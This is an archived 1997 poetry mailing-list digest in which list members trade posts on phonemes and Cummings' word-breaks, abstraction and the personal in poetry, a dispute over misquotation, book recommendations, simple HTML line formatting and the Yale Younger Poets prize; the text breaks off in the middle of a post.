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> *taxonomy starts you're back in the realm of bad faith. I wasn't there, I*
> *don't remember, and as McGann says about so many things, "I don't know*
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>
> *Did the sculptors read the poets? This sounds like a naive question, and*
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> *Why is this? Is concept cum word a more directly powerful (vaccuuming)*
> *notion than word cum concept? What is it about things and actions that*
> *cause people to "lift off" into the aether (and now, ironically (or not)*

> *back into commercial spaces: "Margins" show at Barbara Gladstone Gallery: Acconci, LeWitt, Matta-Clark, Smithson through July 19th)? Do people have a more immediate phenomenological (sorry) relation vis-a-vis "concept art" than they do "concept writing"? It's interesting that much of the writing by people like LeWItt and Acconci, "Sentences on Conceptual Art" etc. is considered still in the realm of "art" and not in the realm of "poetry" --even at a time when the possibilities and suppositions about "poetry" undergo massive re-exploration. Not just a case of historical jet lag.*
>
> *Sorry fuzzy. I'm procrastinating.*
>
> *Incidentally, Acconci has some early, early (1961) poems published in a new magazine out of Paris called *Purple Fiction.* I like them, and do everything they say.*
>
> *Polaroids,*
>
> *Bennett Simpson*
>
> *&c.&c.&c.&c.&c.&c.&c.&c.*
> *&c.*
> *Bennett Simpson &c.*
> [redacted] *&c.*
> *&c.*
> *&c.&c.&c.&c.&c.&c.&c.&c.*

↑ Index

455. **Bob Grumman**

Re: syllable king and pin

Tue 17 Jun 1997

Much of my interest in what might be called micro-poetics is hard for me to defend. For instance, I disagree with Charles Smith when he says that it would not be "very useful to posit partial phonemes" but I can't offhand think of an example of where it *would* be useful, only that I vaguely remember from time to time being bothered in my writing by the lack of one.

As for just calling "s" and "t" alphabetic letters, I generally do--but it might not be enough. What if, to take a crazy example, you were dealing as a critic with the line, "The twenty-two trucks turned." You could say its author used the letter /t/ five times and the phoneme /t/ twice; but what if for some obscure reason you wanted to say he'd used the /t/ three times as a part of phonemes? That is,

what if you wanted to distinguish the fractional phoneme /t/ from the plain letter /t/, and also from the plain phoneme /t/ (which interestingly to me isn't necessarily the plain letter /t/--which makes me wonder what the w is in the phoneme /tw/ of "two.")

All of this got me rummaging through Cummings, master of the expressive use of the less-than-syllable, as in the following:

```
birds(
      here,inven
ting air
U
)sing

tw
iligH(
t's
   v
    va
      vas
vast

ness.Be)look
now
   (come
soul;
&:and

who
   s)e
      voi
c
es
(
 are
    ar
      a
```

Speaking of syllables-that-aren't-words like "ent," just look at how much meaning he puts into "ness!" And at the "ting(le)" he adds with an incomplete syllable, and the zing/sing he gets from a complete but isolated syllable, and--best--the breakdown of the syllable/word, "are" (reversing the expansion of "vast"), to show/say the scattered birds' voices becoming one (with the hint of that one voice's beginning some primal alphabet). In short, there's much in poetry that's smaller than syllables.

(As Alan Sondheim beautifully demonstrated yesterday with his "wundering wumb," utc.)

Now a literary history question. I'm not very widely read but my impression is that Cummings (in English, at any rate) was the first poet to use the "intra-syllabic word-break" to aesthetic effect. E.g.: as in his breaking "inventing" into "inven" and "ting" for the latter's hint of "tingle," and "using" into "u" and "sing."

Does anyone out there know of anyone who did this kind of thing before him?

--Bob G

[redacted] wrote:
>
> Why not call the "s" & "t" alphabetic letters? (or graphemes if you must.)
> Just keep in mind that there is no one-to-one correspondence between letters
> & the phonemes English uses. "Th" & "sh" are each single phonemes. I don't
> think it's very useful to posit partial phonemes. Some linguists do talk
> about "secondary phonemes," but those, I believe, are related to stress &
> pitch. Some letters are used for multiple phonemes (the vowels, for instance)
> . Some phonemes are represented by more than one letter (the initial phoneme
> in "say" & "cease").
>
> Robert Duncan used to have his students transcribe poems into the
> International Phonetic Alphabet. I've found it to be a useful & interesting
> exercise to tune your ears It will also give you a visual graph of the sound
> structure of the passage or poem in question.
>
> cs
>
> In a message dated 97-06-16 13:48:58 EDT, Bob Grumman writes:
>
> << How about "sylb" as a textual unit between a phoneme and a syllable?
> Not a suggestion really worth a posting, probably, but I also wanted to
> ask a question or two. What would the "s" in the phoneme, "sh," be
> called? Or the "t" in "th?" I'm vague about what a grapheme is, too: a
> phoneme in print? If there's no name for partial phonemes like the
> afore-mentioned "s" and "t," my first very tentative suggestion is
> "rudineme." So the word "the" would consist of the two phonemes, "th"
> and "e," and of the three rudinemes, "t," "h" and "e." >>

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456. Jordan Davis
rebus alibi camphor brain
Tue 17 Jun 1997

Play of signifier
    sound
    writing

cross on the t (imploded t?)

play of the signifier at what level? the letter? the word? the line? (writing)

or is the writing evidence of talk, of being fast on your feet (Woody Allen? John Godfrey?)

I hear "-omological" when I see "ent-" coming down the alley. Meaning may break down into tiny units but you need all the units you need?

Oak oak! like like

--"Drunken Winter"
J Ceravolo

___
Jordan Davis

↑ Index

457. Henry Gould
Re: The Dynamics of Literary Change
Tue 17 Jun 1997

A book I'm enjoying & finding relevant to the issues Mark (& Steve) have raised is _Baudelaire and the Aesthetics of Bad Faith_ by Susan Blood (Stanford, 1997). The author re-interprets _Les Fleurs du Mal_ and the canonization process undertaken by Proust, Valery & others in the early 20th cent. which made Baudelaire(-Poe) the arch-avatar of "the new"; she looks at this process and the ideology of high modernism through the lens of Sartre's concept (bad faith). Sartre wrote a critique of Baudelaire which caused an uproar in France in the 50s - Sartre was debunked as a philistine for accusing Baudelaire of bad faith & instituting the poetics of aesthetic equivocation - the scandal was linked (as a springboard) to the "nouvelle critique" of later french theory.

I'm unable to summarize Blood's points very well (just a poet, y'all) but she quotes C. Greenberg who looked to the origins of Modernism (the "new") in Kant's methods of critique - art critiques its own processes in an effort to substantiate its position - reach the ultimate "pure poetry" - the Poe/Baudelaire techniques of "hypocritical" writing for the "hypocrite" reader develop the

mystique of art-for-art - & the High Modernists consolidated and formalized this approach. This I guess relates to what Steve (via Bourdieu?) was getting at about "exclusions" in creating a "field" -

I would guess that the Sartre essay, which I haven't been able to find yet, would have some relevance to people looking for a "new-not-new" or a new engage writing or a new old writing... a flip side to post-structuralism or somethin'? - Henry Gould

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458. Field of Roses

Re: ships

Tue 17 Jun 1997

> *you know, a friend of mine was describing a move to abstraction in painting in much the same way -- but you have made me take this in much more clearly, abstraction as an alternative to the endlessly personal. i guess, the only moves away i have come up with were to other people's stories, or to impersonal country-house/landscape kinds of poems.*

Under a cover slide at 400x I like to remember the advice of the painter, Ron Bloore, "Let's find a way to look out".

eeeee

Linda Charyk Rosenfeld

↑ Index

459. Fred Muratori

Happy Genius?

Tue 17 Jun 1997

Anyone know what ever happened to _Happy Genius_, a lit mag that was to feature work by some folks on this list?

-- Fred M.

****

Fred Muratori
(▇▇▇▇▇)
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

****

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460. **Kim Dawn**
dot of the i/cross bar of t
Tue 17 Jun 1997

---

i tend to disagree with eliza's point on abstraction being void of the personal. if anything, abstraction is entrenched with the personal far more than the obvious. down with the personal she says, let's have a more academic discussion (priviledging academia over the personal, why can't they be one and the same, or, at least, intermingled?) she then proceeds to divulge her rape experience. (thank you) appreciated, but seemingly contradictory to her earlier response. i'm not sure what she wants. how is your way of expressing your experiences of 'victimization' better from mine? although, i did find her response (s) to be provocative (not without feeling, like mine) and well considered. thank you.

the dot of the i, the cross of the t. the t bar overshadows the i like a small baby star floating in (non) space (though deeply connected to the upward dignified line beneath it. holding the self (i) up even with the space between.

what is to be made of the space between the dot and the upward line of the i?

the cross bar of the t (-) makes me think of the aura of the branch jutting out over/from/between the tree. (and the body/beneath) -(benjamin) (-) is the branch which touches/overshadows remembers the body standing beneath it.

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461. **David Bromige**
ships
Tue 17 Jun 1997

George Bowering, who is in hiding due to some litmafia complications, asks me to post one word to the list (a request which reflects his lifelong interest in spelling--some of you will recall his remarks re-GinsbUrg) :

navEl

david

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462. **Judy Roitman**
Re: syllable king and pin
Tue 17 Jun 1997

> *Why not call the "s" & "t" alphabetic letters? (or graphemes if you must.)*
> *Just keep in mind that there is no one-to-one correspondence between letters*

> *& the phonemes English uses. "Th" & "sh" are each single phonemes. I don't think it's very useful to posit partial phonemes. Some linguists do talk about "secondary phonemes," but those, I believe, are related to stress & pitch. Some letters are used for multiple phonemes (the vowels, for instance) . Some phonemes are represented by more than one letter (the initial phoneme in "say" & "cease").*
>
> *Robert Duncan used to have his students transcribe poems into the International Phonetic Alphabet. I've found it to be a useful & interesting exercise to tune your ears It will also give you a visual graph of the sound structure of the passage or poem in question.*
>
> *cs*

The most successful techniques for teaching dyslexics to read (such as Orton-Gillingham) break written English into --- what? Something that doesn't quite fit into the linguistic categories mentioned so far, judging from my necessarily partial parental knowledge of my son's experience. But this raises all kinds of issues about the relation between written and spoken language. For example, the different weights (nothing at all to do with semantics) of "wait" and "weight" --- for me, very striking, but I know that for others (e.g., my son) barely if at all present.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

463. **David Israel**
!!whoops! not a plug!! -Reply
Tue 17 Jun 1997

Eliza -- << sheesh! i just realized -- i didn't mean would everyone on list please look at my web page (though you're welcome to if you want). i meant, if you're about to make an assumption about my poetics/critical leanings/ me, could you do the research there first? >>

I felt that meaning was perfectly clear in the 1st instance.

Not to worry. Happy to be.

d.i.

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464. **Martin J Spinelli**
EPC Sound Room
Tue 17 Jun 1997

The Sound Room at the Electronic Poetry Center

http://writing.upenn.edu/epc/sound

has recently been overhauled. You will now find recordings previously unavailable online by Charles Bernstein, Steve McCaffery, Ray Federman, Jena Osman, Loss Glazier, and Kenneth Sherwood on an updated list of all EPC soundfiles. Our RealAudio files now emanate from a faster machine and we have added an option which allows users to download most RealAudio files before playback (which will end interruptions that can occur with streaming RealAudio). Also, the updated soundfile information page now includes help with using RealAudio.

In addition, you'll find a links page to other sites with poetic/literary audio.

Best,
Martin

_____ Martin Spinelli [redacted] English Department, SUNY @ Buffalo LINEbreak http://writing.upenn.edu/epc/linebreak EPC Sound Room http://writing.upenn.edu/epc/sound

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465. **Joseph Lease**
Re: jwcurry, sondheim, kdawn
Tue 17 Jun 1997

---

an Irish rock star said--I don't care if it's all been done before--I haven't done it all before--

that too is a part of the story--

if what we mean by culture--and history--is character labs--where selves reconfigure--

On Mon, 16 Jun 1997 [redacted] wrote:

> *At 1:21 PM -0400 6/16/97, Kim Dawn wrote:*
>
> *kim dawn is a lewd drunken old man. she is a hologram. she is out to shock, provocation for provocations sake, art for art's sake kinda gal. from my point of view, i must say her writing, even her life, since the two are so entwined, hold no integrity. (even though i've never seen or read any of her work.)*

> *<snip>*
>
> *i find her work far too personal.*
> *i don't wanna know who she is. i don't wanna guess what's fact. what's fiction.*
> *i like prose, sure, but i wouldn't call for work literary, it belongs in the worst pornography magazines, in comic books.*
> *i like poetry that's soft, that's academic, that's smarter than her, that's void of emotion.*
> *keep your spilling guts to yourself kimdawn. choke on;em.*
>
> *When Kathy Acker was on a panel I curated a few years ago--"Narrative Strategies for Century's End" or something like that--one thing that she was adamant about was that she was *not* interested in the self. If you look at her work, you'll see what's she's dealing with is more like psychological tropes--or tremors of a larger, shifting cultural self.*
>
> *To discuss writing in terms of "too personal" or "fact" vs. "fiction" you're missing the boat. It's all artiface, especially in Acker's world.*
>
> *This surface of vulnerability you've adopted is manipulative--this unacknowledged manipulativeness is the issue--not any shock value you think you're imparting. This is the 90s, after all, shock is like, *over.* We've already had it ad nauseum.*
>
> *Dodie*

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466. **Thomas Bell**
abstraction/personal
Tue 17 Jun 1997

It's possible for some to learn to discriminate between the appropriate, artistic, and possible resolving "personal" and the endlessly repeated and possibly sensational "personal," I would think. tom bell

At 12:04 PM 6/17/97 -0400, Kim Dawn wrote:
>i tend to disagree with eliza's point on abstraction being void of the
>personal. if anything, abstraction is entrenched with the personal far more
>than the obvious.
>down with the personal she says, let's have a more academic discussion
>(priviledging academia over the personal, why can't they be one and the
>same, or, at least, intermingled?)
>she then proceeds to divulge her rape experience.(thank you) appreciated,

>but seemingly contradictory to her earlier response. i'm not sure what she
>wants. how is your way of expressing your experiences of 'victimization'
>better from mine? although, i did find her response (s) to be provocative
>(not without feeling, like mine) and well considered. thank you.

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467. **charssmith**
Re: Innovative poetics reading lists
Tue 17 Jun 1997

---

p.s. to db's:

The earlier volume was published by BP himself as Hills 6/7 in 1980 w/ a cool cover by Francie Shaw.

cs

<< A p.s. to Chris Alexander's listing of Perelman's _Talks_ collection: there are 2 such volumes, from, I think, different publishers. The earlier one (1980?) may be o.p., but should be in collections like those at UCSan Diego, SUNY Buffalo, U.Arizona at Tucson, & many more for all i know. The earlier one has a more homecooked feel to it, not so focussed maybe but if you like that hand-held camera effect....David >>

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468. **henry g**
lyric & individual
Tue 17 Jun 1997

---

another book recommendation from the sexless ghost monk of the death-house book repository:

Smith, John E.
America's philosophical vision
U Chicago, 1992

among other things, book summarizes how Peirce, James, Dewey, Royce et al - the pragmatists - overturned the dichotomies of european philosophy (self/other, matter/mind, knowledge/experience) with a redefinition of "experience". Ironic how the "innovative" tradition in U.S. downplays its own philosophical heritage. looking for a ground for a "new" lyric centered in experience, rather than self, rather than language? look in your own backyard. there are no individuals. there are only generals, and kernels.

- Henry Gould

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469. **Eliza McGrand- CVA Guest**
new quotes from old, new quotes from old...
Tue 17 Jun 1997

oh for heavens sake, kim dawn is it really too much to ask that posts be read carefully before you make assumptions? this is getting to be like some nightmarish party game of telephone.

these posts are getting abominably dull. i can imagine getting into endless post, misinterpretation, and correction syndrome and it is a pretty bleak vision. how about this: listmembers, don't believe any interpretations or conclusions drawn about what i've said until you've actually read what i said yourself? trusting that you'll do that and i won't see any more third generation errors of interpretation based on misreading of me, i'll make this set of corrections and then leave the matter to the pantheon of accuracy and careful reading (saints, gods, godesses, the whole lot).

a) don't know where you got a rape experience, much less "her [elliza's] rape experience" out of post. i mentioned that i wouldn't condone sexual harassment having had personal experience of it. went on to list examples of harassment. i am discussing harassment, not rape, and did NOT say examples were my own experiences at ANY POINT!). here is quote. "in (for example) this particular scenario i know too much firsthand about how unjust and disgusting it is to be sexually harrassed. so adopting sexual harassment as blanket response is, to me, unacceptable."

then, later, examples as part of argument against harassment: "it isn't right for janitor to put up girlie posters and threaten to rape co-workers, it isn't right for a stock trader to leave comments about a secretary's abortion and graphic sexual come-ons on her desk, and it isn't right to sexually harass people on this list either." i go on to say i'll append a poem by JUNE JORDAN -- not by me, as part of example of apt, proportionate, blazingly good response to deeply felt personal belief and append it. i am NOT june jordan. not only do i say poem is BY june jordan when i say i'll append it, i attach a second clue: her name next to title, with date she wrote poem. and it is a pretty well known poem of hers!

b) i never said anything even approaching your quote of me: "down with the personal. let's have a more academic discussion (privileging academia over the personal." i analyze the personal in two different areas: poetry and postings on list. in poetry, i say "overall it's been great to move ... into the goldmine of material drawn from lived life" but with some reservations. i later say in post, as elaboration of reservations, that when frustrated with what feels like an endless personal i've made my own move into other people's stories and landscape/scenery type poems, and i admire pam brown's description (though she may

have been being playful about mispelling) of using abstract as alternative to narrowed subject matter of strictly personal.

i say of personal in context of postings/discussion, that it was too personal to harass someone sexually on list, or to use posts to make vicious personal attacks. here are quotes": "next, the personal in postings, correspondence with strangers, daily interaction. i don't think well of screaming crude hurtful invective and threats for little or no reason at complete strangers. nor of hitting on anyone in vicious, loudly sexually aggressive way to make hitee [and bystanders] uncomfortable, or to elicit flames, or to get people to notice one."

"IMHO, personally vicious responses in what is meant to be a thoughtful, attentive, responsive environment like this list are particularly unwelcome"

at no point do i even mention the word "academic" or say academic should be privileged over personal. at no point do i indicate any difficulty with the personal in postings to list at all EXCEPT when posting is unmerited and/or vicious personal attack or sexual harassment. i am, and how on earth has this gotten lost in the brunt of all this, one of the original "chided" ones who put up silly post wi/ s&m/faux stein poem. i.e., i put up personal sort of post (joke and parodic poem), and went on to defend it in two, count them, two posts! sheesh. leapin' lizards. prancin' poetics. creamsicles.

c) finally, i do NOT say " abstraction [is] void of the personal." i say i'd never thought of abstraction as alternative to hypnotic naval/navel gazing (LOVE those sailors!) of the endless personal. abstraction as ALTERNATIVE. i go on to list ways in which abstraction incorporates personal ("guernica") while having the remove of abstraction, and e. bishops use of abstraction with some of her most personal material (thinking in particular of "the scream," "the shampoo," "four love poems," poem about taxi ride through central park and owl, "rooster," the earthshaking "One Art" (it starts out abstract and suddenly drops into one of the most wrenching direct personals i've ever come across)).

so, list, go directly to the source for your latest on What Elliza
Said and accept no substitutes!
e

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470. **Steven Marks**
Re: !!whoops! not a plug!!
Tue 17 Jun 1997

Please, everybody, plug away as our list owner only recently reminded us. Where else can we learn about all the great sites and books and pamphlets and

magazines, etc? It's not like this stuff is advertised on television. It's not like a lot of it is *even* in bookstores.

your faithful plugger and plugee,
Steven

p.s. for the -emes people: should that be pluggee? What does the extra "g" add? a thousand?

> *Eliza --*
> *<< sheesh! i just realized -- i didn't mean would everyone on list please look at my web page (though you're welcome to if you want). i meant, if you're about to make an assumption about my poetics/critical leanings/ me, could you do the research there first? >>*

_____
Steven Marks

http://members.aol.com/swmarks/welcome.html
_____

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471. **Judy Roitman**
No RealAudio
Tue 17 Jun 1997

> *And while I am at it, let me make my periodic reminder to post information about recent publications of your own as editors, publishers, writers (print, web, and other).*

Have a chapbook (The stress of meaning) fresh off the (Standing Stones) Press.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

472. **David Israel**
Re: !!whoops! not a plug!! / the EME
Tue 17 Jun 1997

Steven --

(just to make sure I misunderstand you adequately):

> *for the -emes people: should that be pluggee?*

how about a pluggeme? -- most discrete (atomic) unit of a (discreet) plug (as in: an eliptical near-reference to the fact of having written something)

& the dream-eme (discrete unit of a dream scenario -- oneiric pixel)

then: the e-eme (basic building block of email experience -- this exists somewhat below the level of actual maniffest e-language; it's the abstract idea of email communication, as an all-but-inchoate sub-particle of such)

also to note: the eme-eme --
most discrete unit of an analytical perspective

d.i.

p.s.: further on the Kim debate: Joseph Lease & Thomas Bell each make points worth making. Every drop-soul must learn the byways of the ocean for itself, neh? Still, there are limits as to what a given reader need read. And in conversation (at least), courtesy has much to recommend it. The business of what lies beyond personality, is subtle & difficult but needful & interesting.

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473. David Israel
Re: ships
Tue 17 Jun 1997

<< what if there was just one, teensy, weensy, little ship, not even a ship but a shiplet, tucked away in one corner -- or maybe, say, one, just one sailor trope? >>

This reminds that in Creeley's charming little book *Autobiography* (Hanuman Press -- also in some collection of writings -- but the Hanuman Press volume [small enough to fit in hand] seems suited to this text), he remarks that Chs. Olsen alleges that the ideograph of a boat is thought to be, historically, the first known sign of the self.

Somewhere in the quatrains of Rumi's (in C.Barks' version), is a fine one beginning --

in the boat of myself . . . .

(& he speaks, also, of being subsumed in the surround of water -- but I forget the particular words) -- composer Stephen Dickman told me he set this verse to music . . . .

Among Tagore's *Crescent Moon* poems (Steve M. -- not yet gotten my NYROB, but soon) -- a collection entirely concerned w/ childhood experience -- is one remarkable poem -- initial lines linger in memory:

Day after day I float my paper boats
  one by one down the running stream
In big black letters I write my name on them
  and the name of the village where I live

I launch the paper boats . . .
[. . . . precis of remainder of poem:
and I look out as they wander away --
I know that somewhere downstream,
you'll find them and know who I am!]

It's seems significant that the child/poet writes both his personal name as well as the name of his village -- individual in its setting of community. One alone would not be enough.

The dailiness of the sailing of the boats -- and the sense of unknowing where they're going -- and the imagination of a dstination where recognition occurs -- all these elements of the idealized rustic child-writer's narrative are evident in ways that seem charmed.

d.i.

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474. **Pam Brown**
ships
Tue 17 Jun 1997

Eliza -
you wrote "and walt whitman, of course, combined both naval(body) gazing and naval (sea) gazing"
It was a joke, Joyce. Here in the antipodies we gaze at our "navels".
But to stay with militarism & abstraction what was that line from the seventies from the feminist poet Marge Piercy -
something like "a general admired an abstract painting so much he had an entire country bombed into its reproduction"
Cheerio for now
Pam

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475. **John Tranter**
Mocking the New Zealanders
Tue 17 Jun 1997

In a recent posting, Alan Sondheim said:

" murky slugged-vine hungs duwn truiling frum durk-wull, skein-cutchers uf
jennifer's wumb un the muve thruugh julu; jewel-julu mirrurs bluud-durk
spheres with perfect ruy-trucing us distunce turns buck un itself; birth
is grunted ucruss the gruin uf prutuculs; yuu're never ulluwed tu furget
thut there is nu distunce between neurest puints in these enfulding tis-
uses, clused dumuins sputtering in the heuted symphuny uf bluud-red night,
in the bluud-durk night "

I know Australians are supposed to do it all the time, but I think it's cruel to mock the New Zealand accent like that.

» John Tranter

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476. **John Tranter**
Dumb jokes
Tue 17 Jun 1997

Q: Why do blondes act so dumb?

A: So that men can understand them.

» John Tranter, 39 Short Street, Balmain NSW 2041, Australia Phone Sydney ([redacted]
FAX ([redacted]

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477. **John Tranter**
Varieties of Marxists ...
Tue 17 Jun 1997

In a recent posting Kent Johnson
(or, as he firmly spells it) KENT JOHNSON wrote ...

Well, one can imagine it was quite a bit more complicated than that, but the basic philosophical split was interesting (Davies, btw, is a long-time and committed Zen practitioner), and maybe stands as one of the best examples that the Language moment-- a few people still think otherwise, it seems--was not underwritten by some hegemonic Marxist scheme. Anyway, _Signage_, by Alan Davies, humbly added to Nick Piombino's list.

You mean there are other kinds of Marxists?

» John Tranter, 39 Short Street, Balmain NSW 2041, Australia Phone Sydney ([redacted] FAX ([redacted]

↑ Index

478. Tenney Nathanson
hasty (haitch tee) em el
Tue 17 Jun 1997

---

another techno query:

how do you (how does one) set poetry quickly and easily as html, if one writes big long lines. That is, how do you avoid doing THIS:

blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah

assuming it's all ONE line of verse, and get it to do like so (ndented that is):

blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah

to indicate that it IS all one line of poultry--quickly and easily?

just figure a safely short number of characters, then build in a return, and then type six blank spaces at the beginning of the new (non) line?

there must be something easier....

thanks?

tenney

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

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479. Alan Julu Sondheim
Re: hasty (haitch tee) em el
Tue 17 Jun 1997

That's it, use <br> or some such or you could set the whole thing and encase it with <pre> or some such.

Or you could just let the whole thing flow...

Alan

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480. Stephen C. Ellwood
MY NAME IS EMILY VEY DUKE.
Tue 17 Jun 1997

MY NAME IS EMILY VEY DUKE AND I AM NOW PARTICIPATING IN THIS DISCUSSION GROUP. I DO NOT HAVE A WEB SITE. I WOULD LIKE TO POST MY POETICS HERE FOR DISCUSSION AND WILL BE HAPPY TO PARTICIPATE IN ANY TYPE OF (COMPULSIVE \NON COMPULSIVE) DISCOURSE PROPOSED. ABOUT MYSELF AND OTHERS. I'M NOT FUSSY. MY AIM IS TRUE.

OKAY, SOME POETICS FOLLOW:

1) We arrived in South Africa with fifteen thousand Rands which were fifteen thousand avails of prostitution.

2) I feel welcome here

3) Finally I just told him "Dad, I have to believe that you will protect me from male sexual desire, including your own." He was so high but so lucid, I knew we could discuss anything. He said "I am so glad you said that Em. I can promise you, I will always do that. You are a beautiful woman, I am so proud of you, I brag your stories to everyone. You are my precious daughter and you are always safe with me.

4) Me and Tim and Stephen are sitting outside the Trident. I'm drinking a chocolate latte. We have stayed up all night. It's 10:30 am and I got a whole bunch of demerol from Anthony last night. He had sprayed Farenheight For Men all over his cock and I feared I felt some kind of sore on the head.

5) My mother was sorry when I arrived home from South Africa. I wish I spoke Japanese so I could tell her to fuck off in another language.

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481. Joseph Duemer
Re: ships
Tue 17 Jun 1997

One of David Israel's great charms is his delicate sense of literary associations. Creeley/Rumi/Tagore on the self as a boat, very sweet & apt. Rowing over deep clear water.

———————————————

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"Art cannot be tamed, although our responses to it can be . . ." -Jeanette Winterson

↑ Index

482. Joseph Lease

Re: ships

Tue 17 Jun 1997

Split Face

It was our party. The ancestors had arranged a party for us. We acted inappropriately on purpose. We took off our pants and shrieked. We shoved video cameras down our throats. "That's my throat, byaby. That's my throat, baby." Everything was mommy: the stars, the trees, the matted grass. Then, just as suddenly, everything refused to be mommy. Just quit--and laughed at us. We knew we were banal but everything laughed at us. We shrieked louder.

Say the word ship.

Think of a ship.
Matter is water.

Hear the world beneath.
Hear forests at the bottom.

Touch green cold water.
People have always said,

The moon was a ghostly galleon--
need breathing need--

On Tue, 17 Jun 1997, Joseph Duemer wrote:

> *One of David Israel's great charms is his delicate sense of literary associations. Creeley/Rumi/Tagore on the self as a boat, very sweet & apt. Rowing over deep clear water.*
>
> ---
>
> *Joseph Duemer*
> *School of Liberal Arts*

Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"Art cannot be tamed, although our responses to it can be . . ."
-Jeanette Winterson

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483. **David Israel**
Re: ships / boats
Tue 17 Jun 1997

Joseph --

<< . . . Creeley/Rumi/Tagore on the self as a boat, very sweet & apt. Rowing over deep clear water. >>

For your generous & amiable remarks, gratitude.

This also serves to remind of another Asian poem -- a Chinese quatrain I (re)translated long ago -- discovered it in the large anthology *Sunflower Splendor* (among the best of such volumes, in my view; & they had a mirroring Chinese-lang. edition). The little poem's title (most literally) would be:

SEARCHING-FOR-SPRING ARBOR

Forget what poet, & (too bad) forget the 1st line (except that it prob. sets scene of poet in his own small boat, and might have the word "dusk" in it; the sense is, he's solitary) -- Remainder of the 4-liner runs thus:

| . . . . . | the boatmen in the smokey midst are each the other hailing | this evening of my boat adrift upon which bank to rest? | only toward the water's place of further fragrance sailing

That sense of decision -- of a conflict (however languorous) -- which side should I go to shack up? what to do now? -- and the insouciant answer: no no, best to drift on some more (downstream, toward -- maybe -- greater fragrance . . .)

d.i.

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484. **dbkk**
Re: new quotes from old, new quotes from old...
Wed 18 Jun 1997

At 4:33 PM -0400 6/17/97, Eliza McGrand- CVA Guest wrote:
>oh for heavens sake, kim dawn is it really too much to ask that posts
>be read carefully before you make assumptions? this is getting to be
>like some nightmarish party game of telephone.
>
>these posts are getting abominably dull.

Eliza,

I feel for your frustration. No one likes to feel misinterpreted and then to see misinterpretations heaped upon that. But, I'd like to point out--having been involved in a newsgroup where professional flamers took over the group for a while (as I mentioned before and was criticized for, for using the word "flamer")--off-the-wall attacks and misrepresentations are simply techniques to arouse responses. It's an ugly game, but it's just a game, Eliza. I don't think you have to worry about anyone else misreading you or taking the inaccurate response seriously.

Dodie

↑ Index

485. **Wystan Curnow**
Re: One small, shameless derby tossed into the air: *I Won!*
Wed 18 Jun 1997

Dear Rob, Though I've been in Zagreb and Venice for weeks, its great to be back and to hear about your award! Congratutions! Your posts I've always appreciated. Tell us a little about the book and the award. Wystan

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486. **Tom Orange**
for "-eme" people
Wed 18 Jun 1997

---

ok then, plug-eme as discrete unit of reference to having written something:
" read me...! "

dream-eme, oneiric pixel: a rebus, depicts a house with a boat on its roof, a single letter of the alphabet, the figure of a man running whose head has been conjured away (cf. traumdeutung ch. 6)

seem-eme, discrete unit of possible resemblance: " =? "

me-eme,
t.

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487. **Wystan Curnow**
Re: Jay Schwartz's complaint
Wed 18 Jun 1997

Dear David, I realise it must be hurtful, but take no notice of Jay Schwartz spoil spwartzes. Keep up the good work. And now that I've got myself into your good books (the allusion did not pass me by) I'm thinking of putting in for the Yale myself (at Marjorie's suggestion) and wondered if you--and any other list members come to that--would write me a reference (refer to whatever you like, see if I care, damn you and your impartiality!). I thought of you especially because I'd like to see more of these Chairs go out of the country (and not necesarily back to the Auld Countrie)and think you might be sympathetic.
Wystan

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488. **Wystan Curnow**
Re: Inappropriate postings
Wed 18 Jun 1997

Dear Judy,
Yeah, just what I wuz beginning to notice too. When we've finally done with these silly posts about silly posts we can I hope get back to silly posts, or preferably folks to real serious posts about, like Mainstream poetry vs radical/experimental poetry, about academics vs real people, about form vs content, those meat and potatoes issues we all joined the list to flog to death.
Wystan

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489. **rsillima**
Help
Wed 18 Jun 1997

Can somebody send me a copy of the Poetics Digest for 6/17? I inadvertantly deleted it before I was able to read it. (The "mouse buttons" on an IBM ThinkPad are not its strong features, or maybe they're its "too strong" features). Arghh.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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490. David Israel
the Yale game
Wed 18 Jun 1997

[was: Re: Jay Schwartz's complaint]

Mornin' (or maybe evenin'), Wystan --

thanks for your amicable notes; now here's riffin' on your Yale hat-throw. Let me see if I (a) understand you and (b) can muster some reply.

<< I'm thinking of putting in for the Yale myself (at Marjorie's suggestion) and wondered if you--and any other list members come to that--would write me a reference >>

I assume you're referring to the Yale Series of Younger Poets? (an open annual publication-competition, entry into which I've described having made; requirements being (i) no prior BOOK of Poetry published (chapbooks okay); and (ii) can't be older than 40 years; and (iii) certain physical particulars abt. what constitutes a properly constituted MS) --

When you speak of "a reference", I suppose you could mean a "letter of recommendation"? Well, 1. I feel pretty sure that any such would be of zero positive value (or relevance) to the competition; believe it or not, they actually read manuscripts; 2. even if a helpful note of referral *were* of use, I'm not an apt candidate for providing one -- unless a repentant Yale were interested now in the referral of a thrice (or so)-loser (kind of like: in a late, sudden bout of guilt for egregiously having passed over my work . . . ;-) (??); 3. to whom would one recommend? Actually, the identity of the ultimate poet-judge (which changes, from time to time if not always from year to year) is a matter of public record. I've not kept track as to who that might be at this point. (I've no idea what happens at Yale in the event that a poet-judge is aware of the existence of a particular MS among the Readers' piles . . .)

Anyhow, month for MSS submissions to said Series is FEBRUARY -- so you've time to work out a gameplan. [The suggestion that you're considering applying for this (at Marjorie's recommendation) might've been a play for ironies unperceived by me; I'm byting on assumptions otherwise.]

and I've a story:

